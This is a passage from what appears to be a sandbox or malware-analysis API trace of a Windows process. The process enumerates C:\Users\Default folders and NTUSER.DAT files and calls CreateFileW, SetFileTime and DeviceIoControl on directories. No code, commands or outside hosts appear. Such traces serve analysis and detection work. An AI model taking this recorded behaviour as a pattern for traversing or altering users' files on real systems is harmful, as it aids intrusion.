(HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0092.993] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Local Settings" (normalized: "c:\\users\\default\\local settings"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.994] CreateFileW (lpFileName="C:\\Users\\Default\\Local Settings" (normalized: "c:\\users\\default\\local settings"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0092.994] GetLastError () returned 0x5 [0092.994] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0092.994] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0092.994] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efd60 [0092.995] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fce18 [0092.995] FindFirstFileExW (in: lpFileName="C:\\Users\\Default\\Local Settings\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0xffffffff [0092.995] GetLastError () returned 0x5 [0092.995] FindFirstFileExW (in: lpFileName="C:\\Users\\Default\\Local Settings\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0xffffffff [0092.995] GetLastError () returned 0x5 [0092.995] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fce18) returned 1 [0092.996] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efd60) returned 1 [0092.996] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0092.996] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0092.996] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0092.996] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Music" (normalized: "c:\\users\\default\\music"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.997] CreateFileW (lpFileName="C:\\Users\\Default\\Music" (normalized: "c:\\users\\default\\music"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0092.997] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0092.997] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x126d560 [0092.997] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x126d560, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x126d560, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0092.997] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d560) returned 1 [0092.998] NtClose (Handle=0x164) returned 0x0 [0092.998] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0092.998] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0092.998] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efd60 [0092.998] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fce18 [0092.999] FindFirstFileExW (in: lpFileName="C:\\Users\\Default\\Music\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0092.999] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.999] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0092.999] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0092.999] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0092.999] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0093.000] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0093.000] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0093.000] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f98d8 [0093.000] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fdb60 [0093.001] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0093.001] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0093.001] GetLastError () returned 0x12 [0093.001] FindFirstFileExW (in: lpFileName="C:\\Users\\Default\\Music\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9200 [0093.001] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0093.001] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.001] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0093.001] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0093.001] GetLastError () returned 0x12 [0093.001] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fce18) returned 1 [0093.001] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0093.002] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efd60) returned 1 [0093.002] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0093.002] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="")) returned 1 [0093.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0093.002] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\My Documents" (normalized: "c:\\users\\default\\my documents"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0093.002] CreateFileW (lpFileName="C:\\Users\\Default\\My Documents" (normalized: "c:\\users\\default\\my documents"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0093.003] GetLastError () returned 0x5 [0093.003] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0093.003] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0093.003] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efd60 [0093.003] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fce18 [0093.004] FindFirstFileExW (in: lpFileName="C:\\Users\\Default\\My Documents\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0xffffffff [0093.004] GetLastError () returned 0x5 [0093.004] FindFirstFileExW (in: lpFileName="C:\\Users\\Default\\My Documents\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0xffffffff [0093.004] GetLastError () returned 0x5 [0093.004] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fce18) returned 1 [0093.004] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efd60) returned 1 [0093.005] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0093.005] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0093.005] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0093.005] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\NetHood" (normalized: "c:\\users\\default\\nethood"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0093.005] CreateFileW (lpFileName="C:\\Users\\Default\\NetHood" (normalized: "c:\\users\\default\\nethood"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0093.005] GetLastError () returned 0x5 [0093.006] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0093.006] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0093.006] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efd60 [0093.006] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fce18 [0093.006] FindFirstFileExW (in: lpFileName="C:\\Users\\Default\\NetHood\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0xffffffff [0093.007] GetLastError () returned 0x5 [0093.007] FindFirstFileExW (in: lpFileName="C:\\Users\\Default\\NetHood\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0xffffffff [0093.007] GetLastError () returned 0x5 [0093.007] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fce18) returned 1 [0093.007] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efd60) returned 1 [0093.007] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0093.007] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x9012aa61, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x6770de0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x6770de0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xc0000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0093.007] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xc103692e, ftCreationTime.dwHighDateTime=0x1ca0451, ftLastAccessTime.dwLowDateTime=0x1dd1880d, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x1dd1880d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG", cAlternateFileName="")) returned 1 [0093.007] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x9012aa61, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x9012aa61, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x674ac80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x2e400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG1", cAlternateFileName="")) returned 1 [0093.008] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x9012aa61, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x9012aa61, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x9012aa61, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG2", cAlternateFileName="")) returned 1 [0093.008] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf8d30919, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf8d30919, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf8ead6dc, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", cAlternateFileName="")) returned 1 [0093.008] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf8da2d3a, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf8da2d3a, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf8e8757c, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="")) returned 1 [0093.008] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf8deeffb, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf8deeffb, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf8ead6dc, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="")) returned 1 [0093.008] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.ini", cAlternateFileName="")) returned 1 [0093.008] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0093.008] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0093.008] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Pictures" (normalized: "c:\\users\\default\\pictures"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0093.008] CreateFileW (lpFileName="C:\\Users\\Default\\Pictures" (normalized: "c:\\users\\default\\pictures"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0093.008] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0093.009] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x126d560 [0093.009] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x126d560, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x126d560, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0093.009] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d560) returned 1 [0093.009] NtClose (Handle=0x184) returned 0x0 [0093.009] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0093.010] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0093.010] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efd60 [0093.010] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fce18 [0093.010] FindFirstFileExW (in: lpFileName="C:\\Users\\Default\\Pictures\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9200 [0093.010] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.010] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0093.011] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0093.011] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0093.011] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0093.012] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0093.012] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0093.012] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f98f8 [0093.012] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fdbe8 [0093.013] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0093.013] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0093.013] GetLastError () returned 0x12 [0093.013] FindFirstFileExW (in: lpFileName="C:\\Users\\Default\\Pictures\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0093.013] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0093.013] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.013] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, 